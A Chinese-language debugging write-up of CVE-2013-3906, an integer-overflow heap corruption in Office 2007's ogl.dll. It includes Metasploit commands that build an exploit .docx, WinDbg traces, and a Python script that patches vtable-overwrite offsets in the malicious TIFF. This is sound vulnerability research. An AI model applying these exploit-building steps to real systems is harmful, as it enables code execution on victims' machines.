看雪学院
看雪学院

CVE-2013-3906漏洞分析


CVE-2013-3906漏洞分析_第1张图片

前言

CVE-2013-3906是一个位于ogl.dll内的整数溢出漏洞，这是一个比较经典的整数溢出漏洞，当时是McAfee公司抓到的一个0day。关于这个漏洞还有一些趣闻。

这两天拿这个漏洞练了一下手。下文记录了我对该漏洞的分析过程，侧重于漏洞分析方面，本文对该漏洞用到的堆喷射和利用技巧不做讨论，如需了解这些请阅读本文的参考链接。

需要注意的是，在Windows 7+office 2010环境下ogl.dll并不存在，所以该漏洞不影响这一环境。

调试环境

windows7 x86 + office 2007 sp0(ogl.dll 12.0.4518.1014)

调试样本生成自metasploit

msf > search cve-2013-3906

[!] Module database cache not built yet, using slow search

Matching Modules

================

  Name                                            Disclosure Date  Rank    Description

  ----                                            ---------------  ----    -----------

  exploit/windows/fileformat/mswin_tiff_overflow  2013-11-05      average  MS13-096 Microsoft Tagged Image File Format (TIFF) Integer Overflow

msf > use exploit/windows/fileformat/mswin_tiff_overflow

msf exploit(mswin_tiff_overflow) > show options

Module options (exploit/windows/fileformat/mswin_tiff_overflow):

  Name      Current Setting  Required  Description

  ----      ---------------  --------  -----------

  FILENAME  msf.docx        yes      The docx file

Exploit target:

  Id  Name

  --  ----

  0  Windows XP SP3 with Office Standard 2010

msf exploit(mswin_tiff_overflow) > set payload windows/exec

payload => windows/exec

msf exploit(mswin_tiff_overflow) > show options

Module options (exploit/windows/fileformat/mswin_tiff_overflow):

  Name      Current Setting  Required  Description

  ----      ---------------  --------  -----------

  FILENAME  msf.docx        yes      The docx file

Payload options (windows/exec):

  Name      Current Setting  Required  Description

  ----      ---------------  --------  -----------

  CMD                        yes      The command string to execute

  EXITFUNC  thread          yes      Exit technique (Accepted: '', seh, thread, process, none)

Exploit target:

  Id  Name

  --  ----

  0  Windows XP SP3 with Office Standard 2010

msf exploit(mswin_tiff_overflow) > set CMD calc

CMD => calc

msf exploit(mswin_tiff_overflow) > set EXITFUNC thread

EXITFUNC => thread

msf exploit(mswin_tiff_overflow) > set FILENAME cve-2013-3906-msf.docx_

FILENAME => cve-2013-3906-msf.docx_

msf exploit(mswin_tiff_overflow) > exploit

[*] Initializing files...

[*] Packing directory: word

[*] Packing file: word/webSettings.xml

[*] Packing directory: word/media

[*] Packing directory: word/embeddings

[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet6.xlsx

[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet4.xlsx

[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet5.xlsx

[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet1.xlsx

[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet3.xlsx

[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet2.xlsx

[*] Packing directory: word/charts

[*] Packing file: word/charts/chart3.xml

[*] Packing file: word/charts/chart4.xml

[*] Packing directory: word/charts/_rels

[*] Packing file: word/charts/_rels/chart5.xml.rels

[*] Packing file: word/charts/_rels/chart2.xml.rels

[*] Packing file: word/charts/_rels/chart1.xml.rels

[*] Packing file: word/charts/_rels/chart4.xml.rels

[*] Packing file: word/charts/_rels/chart6.xml.rels

[*] Packing file: word/charts/_rels/chart3.xml.rels

[*] Packing file: word/charts/chart2.xml

[*] Packing file: word/charts/chart5.xml

[*] Packing file: word/charts/chart6.xml

[*] Packing file: word/charts/chart1.xml

[*] Packing directory: word/theme

[*] Packing file: word/theme/theme1.xml

[*] Packing file: word/settings.xml

[*] Packing file: word/styles.xml

[*] Packing file: word/fontTable.xml

[*] Packing directory: docProps

[*] Packing file: docProps/app.xml

[*] Packing file: docProps/core.xml

[*] Packing directory: _rels

[*] Packing ActiveX controls...

[*] Packing file: [Content_Types].xml

[*] Packing file: /word/media/image1.jpeg

[*] Packing file: /word/document.xml

[*] Packing file: _rels/.rels

[*] Packing file: /word/_rels/document.xml.rels

[+] cve-2013-3906-msf.docx_ stored at /root/.msf4/local/cve-2013-3906-msf.docx_

msf exploit(mswin_tiff_overflow) > exploit

首先用windbg挂上winword.exe，打开样本，发生崩溃，崩溃现场如下：

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=08080808 ebx=001b08c0 ecx=0f5edcf8 edx=00000000 esi=0f5edcf8 edi=001b072c

eip=67bce176 esp=001b0630 ebp=001b0644 iopl=0        nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00210202

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\OFFICE12\OGL.DLL -

OGL!GdipClonePath+0x2a:

67bce176 ff5004          call    dword ptr [eax+4]    ds:0023:0808080c=????????

0:000> k 100

ChildEBP RetAddr 

WARNING: Stack unwind information not available. Following frames may be wrong.

001b0644 6a04288e OGL!GdipClonePath+0x2a

001b0704 6a0b18ed oart!Ordinal1954+0x30e

001b073c 6a0b18bb oart!Ordinal2469+0x4c9

001b0750 6a0b3e40 oart!Ordinal2469+0x497

001b0790 6a07e16f oart!Ordinal725+0x2c

001b07c0 6a0b4590 oart!Ordinal2472+0x131

001b07f0 6a0b3da4 oart!Ordinal6123+0x2cb

001b0804 6a7948b5 oart!Ordinal533+0xa4

001b0854 6a07e092 oart!Ordinal1031+0x724

001b0924 6a07d802 oart!Ordinal2472+0x54

001b0b78 6a07d2e6 oart!Ordinal2552+0x1b2

001b0bc8 6a07be02 oart!Ordinal5854+0xd3

001b0c04 6a07bd8a oart!Ordinal2803+0x23

001b0c10 6356cfc9 oart!Ordinal292+0x30c

001b0d48 63567985 wwlib!DllGetClassObject+0x10837f

...

这明显是虚表被覆盖了，在IDA中定位到相关代码点如下：

CVE-2013-3906漏洞分析_第2张图片

崩溃点位于GdipClonePath函数，我们可以看到这是一处虚函数调用，正常情况下esi应该是一个对象地址，对红框处的call语句下断点：

sxe ld ogl

bp ogl+e176

发现这个函数会被命中很多次，我们在每次命中断点时看一下eax的值，eax为虚表地址：

0:000> bp ogl+e176 ".printf \"eax=0x%p\\n\", eax; g;"

0:000> g

eax=0x676cab68

...

eax=0x676cab68

eax=0x08080808

Thu Apr 12 17:02:31.953 2018 (GMT+8): (bbc.968): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=08080808 ebx=00220640 ecx=0dd1dcf8 edx=00000000 esi=0dd1dcf8 edi=002204ac

eip=6768e176 esp=002203b0 ebp=002203c4 iopl=0        nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00210202

OGL!GdipClonePath+0x2a:

6768e176 ff5004          call    dword ptr [eax+4]    ds:0023:0808080c=????????

可以看到直到崩溃发生前的虚表地址都是一个固定值，我们看一下这个虚表内函数指针：

text:0004AB68 off_4AB68      dd offset sub_C95E      ; DATA XREF: sub_39E9+Do

.text:0004AB68                                        ; sub_E6DC+12o ...

.text:0004AB6C                dd offset sub_476B

.text:0004AB70                dd offset sub_15858B

.text:0004AB74                dd offset sub_162868

.text:0004AB78                dd offset sub_1627B1

.text:0004AB7C                dd offset sub_12E4BE

.text:0004AB80                dd offset sub_3C837

.text:0004AB84                dd offset unknown_libname_2 ; Microsoft VisualC 2-11/net runtime

.text:0004AB88                dd offset sub_6163

.text:0004AB8C                dd offset sub_7B44

.text:0004AB90                dd offset sub_72C93

.text:0004AB94                dd offset sub_206AD

.text:0004AB98                dd offset sub_203A1

.text:0004AB9C                dd offset sub_ABE4

.text:0004ABA0                dd offset sub_1E480

.text:0004ABA4                dd offset sub_14BEFD

.text:0004ABA8                dd offset sub_14BE97

.text:0004ABAC                dd offset sub_145EB1

.text:0004ABB0                dd offset sub_14645A

.text:0004ABB4                dd offset sub_1DF2D

.text:0004ABB8                dd offset sub_45AF

.text:0004ABBC                dd offset sub_11A522

上文崩溃处调用的是虚表的第二个函数sub_476B，我们看一下这个函数：

CVE-2013-3906漏洞分析_第3张图片

这个函数的作用是比较当前对象的第一个成员变量是否等于“htP1”，这是在对该对象的tag进行校验。

我们再来看一下对象地址(esi)每次的情况：

0:000> bp ogl+e176 ".printf \"esi=0x%p\\n\", esi; g;"

0:000> g

esi=0x0f5b23a8

esi=0x0f5b23a8

esi=0x0f5b23a8

esi=0x0f5b23a8

esi=0x0f5b8470

esi=0x0f5b86e0

esi=0x0f5b8950

...

esi=0x0f5baa88

esi=0x0c99b638

esi=0x0c99aee8

esi=0x0c99bca0

esi=0x0c99cdb0

esi=0x0c99dcf8

Fri Apr 13 11:06:03.278 2018 (GMT+8): (a2c.b78): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=08080808 ebx=002e0b10 ecx=0c99dcf8 edx=00000000 esi=0c99dcf8 edi=002e097c

eip=6741e176 esp=002e0880 ebp=002e0894 iopl=0        nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00210202

OGL!GdipClonePath+0x2a:

6741e176 ff5004          call    dword ptr [eax+4]    ds:0023:0808080c=????????


可以看到对象地址是在发生变化的，不同地址代表每次传递给GdipClonePath函数的同一对象的不同实例，我们来看一下最后一个对象的内存情况：

0:000> !address 0x0c99dcf8

ProcessParametrs 000a13a8 in range 000a0000 001a0000

Environment 000dc830 in range 000a0000 001a0000

  0c990000 : 0c990000 - 00051000

                  Type    00020000 MEM_PRIVATE

                  Protect  00000004 PAGE_READWRITE

                  State    00001000 MEM_COMMIT

                  Usage    RegionUsageHeap

                  Handle  0f5b0000

0:000> dd 0x0c99dcf8

0c99dcf8  08080808 08080808 08080808 08080808

0c99dd08  08080808 08080808 08080808 08080808

0c99dd18  08080808 08080808 08080808 08080808

0c99dd28  08080808 08080808 08080808 08080808

0c99dd38  08080808 08080808 08080808 08080808

0c99dd48  08080808 08080808 08080808 08080808

0c99dd58  08080808 08080808 08080808 08080808

0c99dd68  08080808 08080808 08080808 08080808

可以看到对象位于堆中，而且数据都被覆盖为了0x08080808，很明显堆被破坏了。开启页堆，看一下堆是在什么时候被破坏的：

C:\Program Files\Debugging Tools for Windows (x86)>gflags.exe /p /enable winword.exe /full

...

Thu Apr 12 11:03:20.506 2018 (GMT+8): (f80.bd0): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=2a66dffc ebx=00000001 ecx=00000521 edx=00000000 esi=2a66cb78 edi=2a670000

eip=6d9d500a esp=001a0738 ebp=001a0740 iopl=0        nv up ei pl nz ac po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00210212

MSVCR80!memcpy+0x5a:

6d9d500a f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

0:000> k 100

ChildEBP RetAddr 

001a0740 69bb57e6 MSVCR80!memcpy+0x5a

WARNING: Stack unwind information not available. Following frames may be wrong.

001a075c 69b86470 OGL!GdipConvertToEmfPlusToStream+0x14b09

001a077c 69b9f761 OGL!GdipCreateTextureIAI+0x13af9

001a0798 69bdaa48 OGL!GdipMeasureCharacterRanges+0xb3f4

001a07ac 69b6ec13 OGL!GdipGetCellAscent+0x1cca7

001a07c8 69bd980c OGL!GdipEmfToWmfBits+0x140e6

001a07e4 69b07e44 OGL!GdipGetCellAscent+0x1ba6b

001a0864 69b07d2b OGL!GdipGetPointCount+0x1cc

001a0880 69b07b8a OGL!GdipGetPointCount+0xb3

001a0890 69b07aa8 OGL!GdipClosePathFigure+0x28a

001a08ac 69b0742a OGL!GdipClosePathFigure+0x1a8

001a08b8 69b0734e OGL!GdipAddPathLineI+0xc5a

001a08c8 69b03932 OGL!GdipAddPathLineI+0xb7e

001a08dc 6a096a21 OGL!GdipLoadImageFromStreamICM+0x4a

001a090c 6a0967bc oart!Ordinal2867+0x6bc

001a093c 6a095454 oart!Ordinal2867+0x457

001a0998 6a0952fe oart!Ordinal348+0x1e3

001a09dc 6a0952aa oart!Ordinal348+0x8d

001a0a10 6a0a0fea oart!Ordinal348+0x39

001a0a54 6a0a0c72 oart!Ordinal3368+0xd9

...

0:000> !heap -p -a edi

  address 2a670000 found in

  _DPH_HEAP_ROOT @ 24411000

  in busy allocation (  DPH_HEAP_BLOCK:        UserAddr        UserSize -        VirtAddr        VirtSize)

                              2ab00068:        2a670000                0 -        2a66f000            2000

ReadMemory error for address 2a670000

  6dce8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229

  77805ede ntdll!RtlDebugAllocateHeap+0x00000030

  777ca40a ntdll!RtlpAllocateHeap+0x000000c4

  77795ae0 ntdll!RtlAllocateHeap+0x0000023a

  69b0246c OGL!GdiplusStartup+0x000009c7

  69bb57a8 OGL!GdipConvertToEmfPlusToStream+0x00014acb

  69b86470 OGL!GdipCreateTextureIAI+0x00013af9

  69b9f761 OGL!GdipMeasureCharacterRanges+0x0000b3f4

  69bdaa48 OGL!GdipGetCellAscent+0x0001cca7

  69b6ec13 OGL!GdipEmfToWmfBits+0x000140e6

  69bd980c OGL!GdipGetCellAscent+0x0001ba6b

  69b07e44 OGL!GdipGetPointCount+0x000001cc

  69b07d2b OGL!GdipGetPointCount+0x000000b3

  69b07b8a OGL!GdipClosePathFigure+0x0000028a

  69b07aa8 OGL!GdipClosePathFigure+0x000001a8

  69b0742a OGL!GdipAddPathLineI+0x00000c5a

  69b0734e OGL!GdipAddPathLineI+0x00000b7e

  69b03932 OGL!GdipLoadImageFromStreamICM+0x0000004a

  6a096a21 oart!Ordinal2867+0x000006bc

  6a0967bc oart!Ordinal2867+0x00000457

  6a095454 oart!Ordinal348+0x000001e3

  6a0952fe oart!Ordinal348+0x0000008d

  6a0952aa oart!Ordinal348+0x00000039

  6a0a0fea oart!Ordinal3368+0x000000d9

  6a0a0c72 oart!Ordinal2671+0x000001e4

  6a0a0425 oart!Ordinal759+0x00000116

  6a84be79 oart!Ordinal3459+0x00000065

  6a8c33ea oart!Ordinal2061+0x0000011e

  6a097567 oart!Ordinal61+0x00000056

  6a0adaaf oart!Ordinal1794+0x00000014

  6a8cfa2c oart!Ordinal4418+0x000003d5

  6a8cf076 oart!Ordinal6112+0x00000112

0:000> !heap -p -a esi

  address 2a66cb78 found in

  _DPH_HEAP_ROOT @ 24411000

  in busy allocation (  DPH_HEAP_BLOCK:        UserAddr        UserSize -        VirtAddr        VirtSize)

                              2ab0009c:        2a66cb78            1484 -        2a66c000            3000

  6dce8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229

  77805ede ntdll!RtlDebugAllocateHeap+0x00000030

  777ca40a ntdll!RtlpAllocateHeap+0x000000c4

  77795ae0 ntdll!RtlAllocateHeap+0x0000023a

  69b0246c OGL!GdiplusStartup+0x000009c7

  69b8653b OGL!GdipCreateTextureIAI+0x00013bc4

  69b9f761 OGL!GdipMeasureCharacterRanges+0x0000b3f4

  69bdaa48 OGL!GdipGetCellAscent+0x0001cca7

  69b6ec13 OGL!GdipEmfToWmfBits+0x000140e6

  69bd980c OGL!GdipGetCellAscent+0x0001ba6b

  69b07e44 OGL!GdipGetPointCount+0x000001cc

  69b07d2b OGL!GdipGetPointCount+0x000000b3

  69b07b8a OGL!GdipClosePathFigure+0x0000028a

  69b07aa8 OGL!GdipClosePathFigure+0x000001a8

  69b0742a OGL!GdipAddPathLineI+0x00000c5a

  69b0734e OGL!GdipAddPathLineI+0x00000b7e

  69b03932 OGL!GdipLoadImageFromStreamICM+0x0000004a

  6a096a21 oart!Ordinal2867+0x000006bc

  6a0967bc oart!Ordinal2867+0x00000457

  6a095454 oart!Ordinal348+0x000001e3

  6a0952fe oart!Ordinal348+0x0000008d

  6a0952aa oart!Ordinal348+0x00000039

  6a0a0fea oart!Ordinal3368+0x000000d9

  6a0a0c72 oart!Ordinal2671+0x000001e4

  6a0a0425 oart!Ordinal759+0x00000116

  6a84be79 oart!Ordinal3459+0x00000065

  6a8c33ea oart!Ordinal2061+0x0000011e

  6a097567 oart!Ordinal61+0x00000056

  6a0adaaf oart!Ordinal1794+0x00000014

  6a8cfa2c oart!Ordinal4418+0x000003d5

  6a8cf076 oart!Ordinal6112+0x00000112

  6a0a8d11 oart!Ordinal5410+0x00000075

可以看到堆破坏时有一片大小为0x1484的数据被拷贝到一块大小为0x0的堆空间处，从而发生了堆破坏，通过栈回溯可以看到拷贝发生在sub_B576D函数内：

CVE-2013-3906漏洞分析_第4张图片

我们在将拷贝发生处所在的函数( sub_B576D)命名为cve_2013_3906_func，在反汇编视图下可以更清晰地看到这一过程：

CVE-2013-3906漏洞分析_第5张图片

可以看到拷贝的源地址和拷贝大小是作为参数传入 cve_2013_3906_func 函数的，拷贝的目的地址为通过一个公式的计算结果而申请的一片堆空间，从上面的调试结果已经知道目的地址的空间大小为0，怀疑上图红框对应的公式在计算AllocLen时发生了整数溢出，我们在在调试器中验证一下：

对cve_2013_3906_func函数首部下断点：

bp ogl+b576d

可以看到在公式第一部分的循环累加中，循环大小(esi)为0x44，第1个累加值为0xffffb898

CVE-2013-3906漏洞分析_第6张图片

我们对第0x2-0x44次的累加值进行输出：

0:000> bp 67c6578d ".printf \"value=0x%p\\n\", poi(edx); g;"

0:000> g

value=0x000000b2

value=0x000000b2

value=0x000000b3

value=0x000000b3

value=0x000000b2

value=0x000000b1

value=0x000000b1

value=0x000000b1

value=0x000000b2

value=0x000000b2

value=0x000000b2

value=0x000000b3

value=0x000000b2

value=0x000000b2

value=0x000000b2

value=0x000000db

value=0x000000b0

value=0x000000b2

value=0x000000b2

value=0x000000bd

value=0x000000e0

value=0x000000e4

value=0x000000e9

value=0x000000fc

value=0x00000102

value=0x000000fb

value=0x000000f0

value=0x000000ef

value=0x00000102

value=0x0000010a

value=0x000000ff

value=0x000000f7

value=0x000000f9

value=0x000000fa

value=0x000000d8

value=0x000000dc

value=0x000000dd

value=0x000000cb

value=0x000000c8

value=0x000000c5

value=0x000000bb

value=0x000000c0

value=0x000000c2

value=0x000000c5

value=0x000000c6

value=0x000000bf

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x000000a4

value=0x00000080

Fri Apr 13 11:48:38.297 2018 (GMT+8): Breakpoint 1 hit

eax=ffffeaec ebx=00000004 ecx=00000044 edx=0d15ac40 esi=00000000 edi=0c8aea50

eip=67c65793 esp=00260378 ebp=0026037c iopl=0        nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00200246

OGL!GdipConvertToEmfPlusToStream+0x14ab6:

67c65793 8b750c          mov    esi,dword ptr [ebp+0Ch] ss:0023:00260388=00001484

可以看到此时的累加结果(eax)为0xffffeaec

CVE-2013-3906漏洞分析_第7张图片

执行完后面的三句后，累加结果分别如下：

0:000> p

eax=ffffeaec ebx=00000004 ecx=00000044 edx=0d15ac40 esi=00001484 edi=0c8aea50

eip=67c65796 esp=00260378 ebp=0026037c iopl=0        nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00200246

OGL!GdipConvertToEmfPlusToStream+0x14ab9:

67c65796 8d444808        lea    eax,[eax+ecx*2+8]

0:000> p

eax=ffffeb7c ebx=00000004 ecx=00000044 edx=0d15ac40 esi=00001484 edi=0c8aea50

eip=67c6579a esp=00260378 ebp=0026037c iopl=0        nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00200246

OGL!GdipConvertToEmfPlusToStream+0x14abd:

67c6579a 03c6            add    eax,esi

0:000> p

eax=00000000 ebx=00000004 ecx=00000044 edx=0d15ac40 esi=00001484 edi=0c8aea50

eip=67c6579c esp=00260378 ebp=0026037c iopl=0        nv up ei pl zr ac pe cy

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00200257

OGL!GdipConvertToEmfPlusToStream+0x14abf:

67c6579c 50              push    eax

随后调用堆内存申请函数时传入的参数如下：

0:000> p

eax=00000000 ebx=00000004 ecx=00000044 edx=0d15ac40 esi=00001484 edi=0c8aea50

eip=67bb2466 esp=00260360 ebp=0026036c iopl=0        nv up ei pl zr ac pe cy

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00200257

OGL!GdiplusStartup+0x9c1:

67bb2466 ff153011bb67    call    dword ptr [OGL+0x1130 (67bb1130)] ds:0023:67bb1130={ntdll!RtlAllocateHeap (77792dd6)}

0:000> dd esp l3

00260360  0c8a0000 00000000 00000000

NTSYSAPI PVOID RtlAllocateHeap(

  PVOID HeapHandle, // 0c8a0000  ULONG Flags,      // 00000000  SIZE_T Size      // 00000000 申请大小为0);

申请完后返回的结果为0d12d9f8，如下：

0:000> p

eax=0d12d9f8 ebx=00000004 ecx=77792fe7 edx=0d120048 esi=00001484 edi=0c8aea50

eip=67bb246c esp=0026036c ebp=0026036c iopl=0        nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00200246

OGL!GdiplusStartup+0x9c7:

67bb246c 5d              pop    ebp

随后调用memcpy

0:000> t

eax=00000001 ebx=00000001 ecx=67cc1b4f edx=0c8a0174 esi=0d12d9f8 edi=0c8aea50

eip=67bb2c9b esp=00260364 ebp=0026037c iopl=0        nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00200202

OGL!GdiplusStartup+0x11f6:

67bb2c9b ff251410bb67    jmp    dword ptr [OGL+0x1014 (67bb1014)] ds:0023:67bb1014={MSVCR80!memcpy (6d9d4fb0)}

0:000> dd esp l4

00260364  67c657e6 0d12d9f8 0d15ad60 00001484

void *memcpy(

  void *dest,      // 0d12d9f8  const void *src,  // 0d15ad60  size_t n          // 00001484);

对目的地址的内存范围进行查看，大致可以看到有三种对象，其中虚表为0x676cab68的对象有5个，我们需要确定后面虚表调用处用到的是哪一个：

0:000> dds 0d12d9f8 l1484/4

0d12d9f8  00000024

0d12d9fc  3f800000

0d12da00  13055c85

0d12da04  80000000

0d12da08  00000026

...

0d12dcf8  67bfab68 OGL!GdipSetStringFormatDigitSubstitution+0x129d

0d12dcfc  68745031*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Common Files\Microsoft Shared\office12\2052\MSOINTL.DLL

MSOINTL+0x665031

...

0d12df68  67bfab68 OGL!GdipSetStringFormatDigitSubstitution+0x129d

0d12df6c  68745031 MSOINTL+0x665031

...

0d12e928  67bfab68 OGL!GdipSetStringFormatDigitSubstitution+0x129d

0d12e92c  68745031 MSOINTL+0x665031

...

0d12eb98  67bfab68 OGL!GdipSetStringFormatDigitSubstitution+0x129d

0d12eb9c  68745031 MSOINTL+0x665031

...

0d12ee08  67bfab68 OGL!GdipSetStringFormatDigitSubstitution+0x129d

0d12ee0c  68745031 MSOINTL+0x665031

...

在我的调试环境中这几个内存位置分别位于距目的地址起始处 0x300，0x570，0xF30，0x11a0，0x1410 处。在盲测的情况下，可以先对前4个地址下内存访问断点（因为硬件断点最多只能下4个），如果未命中，再重启windbg对第5个地址下内存访问断点(如果已经定位到畸形数据位于tiff图片中，也可以修改相应偏移处的覆盖数据)，一个修改的脚本如下所示：

计算在tiff文件中的偏移：

3544+300=0x3844

3544+570=0x3AB4

3544+F30=0x4474

3544+11a0=0x46e4

3544+1410=0x4954

Python脚本

tiff_origin_path = "image1.jpeg"

tiff_new_path = "image1.jpeg_new"

with open(tiff_origin_path, "rb") as f_read:

  data = f_read.read()

new_data = data[:0x3844]  + "\x11\x11\x11\x11" \

  + data[0x3848:0x3AB4] + "\x22\x22\x22\x22" \

  + data[0x3AB8:0x4474] + "\x33\x33\x33\x33" \

  + data[0x4478:0x46e4] + "\x44\x44\x44\x44" \

  + data[0x46e8:0x4954] + "\x55\x55\x55\x55" \

  + data[0x4958:]

with open(tiff_new_path, "wb") as w_read:

  w_read.write(new_data)

然后对docx中的相应文件进行替换即可

从下面的测试日志可以看到，在我的环境中被覆盖的虚表是第1个，即AllocAddr偏移为0x300处的位置

0:000> g

Thu Apr 12 18:28:06.670 2018 (GMT+8): (dbc.a10): C++ EH exception - code e06d7363 (first chance)

Thu Apr 12 18:28:06.670 2018 (GMT+8): (dbc.a10): C++ EH exception - code e06d7363 (first chance)

Thu Apr 12 18:28:06.685 2018 (GMT+8): (dbc.a10): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=11111111 ebx=001d07f0 ecx=0ec3dcf8 edx=00000000 esi=0ec3dcf8 edi=001d065c

eip=6702e176 esp=001d0560 ebp=001d0574 iopl=0        nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00210202

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\OFFICE12\OGL.DLL -

OGL!GdipClonePath+0x2a:

6702e176 ff5004          call    dword ptr [eax+4]    ds:0023:11111115=????????

同时，在开启页堆的情况下我们可以获知该类对象的大小为0x130：

0:000> !heap -p -a esi

  address 23a37ed0 found in

  _DPH_HEAP_ROOT @ 239f1000

  in busy allocation (  DPH_HEAP_BLOCK:        UserAddr        UserSize -        VirtAddr        VirtSize)

                              239f18b8:        23a37ed0              130 -        23a37000            2000

        ? OGL!GdipSetStringFormatDigitSubstitution+129d

  6c308e89 verifier!AVrfDebugPageHeapAllocate+0x00000229

  77805ede ntdll!RtlDebugAllocateHeap+0x00000030

  777ca40a ntdll!RtlpAllocateHeap+0x000000c4

  77795ae0 ntdll!RtlAllocateHeap+0x0000023a

  6768246c OGL!GdiplusStartup+0x000009c7

  6768384b OGL!GdipCreatePath+0x0000025c

  6a040e84 oart!Ordinal1063+0x00000054

  6a086e60 oart!Ordinal653+0x00000028

  6a086b4f oart!Ordinal4484+0x00000306

  6a086908 oart!Ordinal4484+0x000000bf

  6a079f7c oart!Ordinal3230+0x0000022b

  6a0783fe oart!Ordinal2668+0x0000021c

  6a07821e oart!Ordinal2668+0x0000003c

  6a0b4850 oart!Ordinal2660+0x00000080

  6a7b67c0 oart!Ordinal5850+0x00000f9c

  6a7b667c oart!Ordinal5850+0x00000e58

  6a06757d oart!Ordinal3404+0x000002a5

  6a0673eb oart!Ordinal3404+0x00000113

  6a0672cb oart!Ordinal6309+0x0000000e

  6356cfc9 wwlib!DllGetClassObject+0x0010837f

  63567985 wwlib!DllGetClassObject+0x00102d3b

  635296b9 wwlib!DllGetClassObject+0x000c4a6f

  6352571b wwlib!DllGetClassObject+0x000c0ad1

  635256b1 wwlib!DllGetClassObject+0x000c0a67

  63525395 wwlib!DllGetClassObject+0x000c074b

  634f64cb wwlib!DllGetClassObject+0x00091881

  634f267c wwlib!DllGetClassObject+0x0008da32

  634f0c32 wwlib!DllGetClassObject+0x0008bfe8

  634be786 wwlib!DllGetClassObject+0x00059b3c

  634bb168 wwlib!DllGetClassObject+0x0005651e

  634c00cb wwlib!DllGetClassObject+0x0005b481

  634bf54e wwlib!DllGetClassObject+0x0005a904

拷贝前

0:000> ? 0d12d9f8+0x300

Evaluate expression: 219340024 = 0d12dcf8

0:000> dc 0d12dcf8 l130/4

0d12dcf8  67bfab68 68745031 00000000 00000000  h..g1Pth........

0d12dd08  0d12dd1c 0d12dd1c 00000010 00000010  ................

0d12dd18  00000004 81010100 00000000 3f800000  ...............?

0d12dd28  00000000 0d12dd40 0d12dd40 00000010  ....@...@.......

0d12dd38  00000010 00000004 498b86c0 49ca5030  ...........I0P.I

0d12dd48  49902d60 49ca5030 49902d60 49d02078  `-.I0P.I`-.Ix .I

0d12dd58  498b86c0 49d02078 00000000 00000000  ...Ix .I........

0d12dd68  00000000 00000000 00000000 00000000  ................

0d12dd78  00000000 00000000 00000000 00000000  ................

0d12dd88  00000000 00000000 00000000 00000000  ................

0d12dd98  00000000 00000000 00000000 00000000  ................

0d12dda8  00000000 00000000 00000000 00000000  ................

0d12ddb8  00000000 00000000 00000000 00000000  ................

0d12ddc8  00000000 00000001 00000001 ffffffff  ................

0d12ddd8  00000000 00000000 00000000 00000000  ................

0d12dde8  00000000 00000000 0d12de04 0d12de04  ................

0d12ddf8  00000003 00000003 00000000 00000000  ................

0d12de08  00000000 00000000 00000000 ffffffff  ................

0d12de18  ff00ffff 00000000 00000000 00000000  ................

拷贝后

0:000> ? 0d12d9f8+0x300

Evaluate expression: 219340024 = 0d12dcf8

0:000> dc 0d12dcf8 l130/4

0d12dcf8  67bfab68 68745031 00000000 00000000  h..g1Pth........

0d12dd08  0d12dd1c 0d12dd1c 00000010 00000010  ................

0d12dd18  00000004 81010100 00000000 3f800000  ...............?

0d12dd28  00000000 0d12dd40 0d12dd40 00000010  ....@...@.......

0d12dd38  00000010 00000004 498b86c0 49ca5030  ...........I0P.I

0d12dd48  49902d60 49ca5030 49902d60 49d02078  `-.I0P.I`-.Ix .I

0d12dd58  498b86c0 49d02078 00000000 00000000  ...Ix .I........

0d12dd68  00000000 00000000 00000000 00000000  ................

0d12dd78  00000000 00000000 00000000 00000000  ................

0d12dd88  00000000 00000000 00000000 00000000  ................

0d12dd98  00000000 00000000 00000000 00000000  ................

0d12dda8  00000000 00000000 00000000 00000000  ................

0d12ddb8  00000000 00000000 00000000 00000000  ................

0d12ddc8  00000000 00000001 00000001 ffffffff  ................

0d12ddd8  00000000 00000000 00000000 00000000  ................

0d12dde8  00000000 00000000 0d12de04 0d12de04  ................

0d12ddf8  00000003 00000003 00000000 00000000  ................

0d12de08  00000000 00000000 00000000 ffffffff  ................

0d12de18  ff00ffff 00000000 00000000 00000000  ................

